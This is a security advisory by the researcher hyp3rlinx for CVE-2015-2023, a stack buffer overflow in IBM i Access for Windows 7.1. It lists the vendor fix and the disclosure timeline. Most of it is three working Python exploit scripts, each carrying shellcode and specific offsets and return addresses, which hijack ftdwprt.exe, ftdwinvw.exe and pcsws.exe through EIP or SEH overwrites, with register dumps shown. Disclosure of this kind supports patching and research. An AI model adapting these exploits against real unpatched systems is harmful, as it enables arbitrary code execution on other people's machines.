IBM i Access For Windows 7.1 Buffer Overflow

`[+] Credits: John Page aka hyp3rlinx  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/IBMI-CLIENT-ACCESS-BUFFER-OVERFLOW.txt  
  
  
  
Vendor:  
==============  
www.ibm.com  
  
  
  
Product:  
====================================================  
IBM i Access for Windows  
Release 7.1 of IBM i Access for Windows is affected  
  
  
  
Vulnerability Type:  
=======================  
Stack Buffer Overflow  
Arbitrary Code Exec  
  
  
  
CVE Reference:  
==============  
CVE-2015-2023  
  
  
  
Vulnerability Details:  
=====================  
IBM i Access for Windows is vulnerable to a buffer overflow. A local  
attacker could overflow a  
buffer and execute arbitrary code on the Windows PC.  
  
client Access has ability to receive remote commands via "Cwbrxd.exe"  
service  
Ref: http://www-01.ibm.com/support/docview.wss?uid=nas8N1019253  
  
"Incoming remote command was designed for running non-interactive commands  
and programs on a PC",  
therefore a remote attacker could execute arbitrary code on the system.  
  
Remediation/Fixes  
The issue can be fixed by obtaining and applying the Service Pack SI57907.  
  
The buffer overflow vulnerability can be remediated by applying Service  
Pack SI57907.  
  
The Service Pack is available at:  
http://www-03.ibm.com/systems/power/software/i/access/windows_sp.html  
  
Workarounds and Mitigations  
None known  
  
CVSS Base Score: 4.4  
CVSS Temporal Score: See http://xforce.iss.net/xforce/xfdb/104044 for the  
current score  
CVSS Environmental Score*: Undefined  
CVSS Vector: (AV:L/AC:M/Au:N/C:P/I:P/A:P)  
  
  
Exploit code(s):  
==============================================================================  
  
Three python POC scriptz follow that exploitz various component of IBM i  
Access.  
  
  
1) Exploits "ftdwprt.exe", direct EIP overwrite  
  
import struct,os,subprocess  
  
pgm="C:\\Program Files (x86)\\IBM\\Client Access\\AFPViewr\\ftdwprt.exe "  
  
#shellcode to pop calc.exe Windows 7 SP1  
sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B"  
"\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B"  
"\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31"  
"\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA"  
"\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14"  
"\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65"  
"\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC")  
  
  
# use jmp or call esp in FTDBT.dll under AFPviewer for Client Access  
# we find ---> 0x638091df : jmp esp | {PAGE_EXECUTE_READ} [FTDBDT.dll]  
ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.05.04.00  
(C:\Program Files (x86)\IBM\Client Access\AFPViewr\FTDBDT.dll)  
  
rp=struct.pack('<L', 0x638091FB)  
payload="A" * 1043+rp+sc+"\x90"*20  
subprocess.Popen([pgm, payload], shell=False) #<----1043 bytes outside of  
debugger use 1044 in debugger.  
  
  
==================================  
  
  
2) Exploits "ftdwinvw.exe", direct EIP overwrite  
  
import struct,os,subprocess  
  
pgm="C:\\Program Files (x86)\\IBM\\Client Access\\AFPViewr\\ftdwinvw.exe "  
  
  
#shellcode to pop calc.exe Windows 7 SP1  
sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B"  
"\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B"  
"\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31"  
"\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA"  
"\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14"  
"\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65"  
"\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC")  
  
  
#payload="A"*1044+"RRRR"+"\x90"*10+"B"*100 #Test EIP  
  
rp=struct.pack('<L', 0x638091fb) #CALL ESP (0x638091fb) FTDBDT.dll  
payload="A"*1044+rp+"\x90"*10+sc #KABOOM!!!  
subprocess.Popen([pgm, payload], shell=False)  
  
registers dump...  
  
EAX 0000040B  
ECX 0044AAB8 ASCII "AAAAAAAAA...  
EDX 7F17E09F  
EBX 00000000  
ESP 0018E5B8  
EBP 41414141  
ESI 005A9FB9 ASCII "AAAAAAAAA...  
EDI 0044E94C ftdwinvw.0044E94C  
EIP 52525252 <----------BOOM!  
  
C 0 ES 002B 32bit 0(FFFFFFFF)  
P 0 CS 0023 32bit 0(FFFFFFFF)  
A 0 SS 002B 32bit 0(FFFFFFFF)  
Z 0 DS 002B 32bit 0(FFFFFFFF)  
S 0 FS 0053 32bit 7EFDD000(FFF)  
T 0 GS 002B 32bit 0(FFFFFFFF)  
D 0  
O 0 LastErr ERROR_SUCCESS (00000000)  
EFL 00010202 (NO,NB,NE,A,NS,PO,GE,G)  
ST0 empty g  
ST1 empty g  
ST2 empty g  
ST3 empty g  
ST4 empty g  
ST5 empty g  
ST6 empty g  
ST7 empty g  
3 2 1 0 E S P U O Z D I  
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)  
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1  
  
  
  
3) Exploits "PCSWS.exe", structured exeception handler (SEH) overwrite  
  
pgm="C:\\Program Files (x86)\\IBM\\Client Access\\Emulator\\pcsws.exe "  
  
  
#ctrl EIP at 1340 bytes, ESP points to RETURN to ntdll.770BB499 so we will  
jump 8 bytes to our SC  
#as ESP points to our SC 8 bytes after!  
  
jmp="\xEB\x06"+"\x90"*2  
#payload="A"*1336+"BBBB" #Test  
  
#shellcode to pop calc.exe Windows 7 SP1  
sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B"  
"\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B"  
"\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31"  
"\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA"  
"\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14"  
"\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65"  
"\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC")  
  
  
rp=struct.pack('<L', 0x678c1e49) #pop pop ret 0x67952486  
PCSW32X.dll  
payload="A"*1332+jmp+rp+sc+"\x90"*10 #KABOOOOOOOOOOOOOOOOOOM!  
subprocess.Popen([pgm, payload], shell=False)  
  
register dump...  
  
0018FF6C 41414141 AAAA  
0018FF70 41414141 AAAA  
0018FF74 41414141 AAAA  
0018FF78 41414141 AAAA Pointer to next SEH record  
0018FF7C 42424242 BBBB SE handler  
0018FF80 004C0400 .L. pcsws.004C0400  
  
  
Disclosure Timeline:  
====================================  
Vendor Notification: May 21, 2015  
November 18, 2015 : Public Disclosure  
  
  
  
Exploitation Technique:  
=======================  
Local / Remote  
  
  
  
Severity Level:  
================  
High  
  
  
  
Description:  
=================================================================================  
Request Method(s): [+] local or remote commands via "Cwbrxd.exe"  
service  
  
  
Vulnerable Product: [+] IBM i Access for Windows Release 7.1  
  
  
Affected Area(s): [+] OS  
  
  
  
[+] Disclaimer  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and that due  
credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit is given to  
the author.  
The author is not responsible for any misuse of the information contained  
herein and prohibits any malicious use of all security related information  
or exploits by the author or elsewhere.  
  
by hyp3rlinx  
`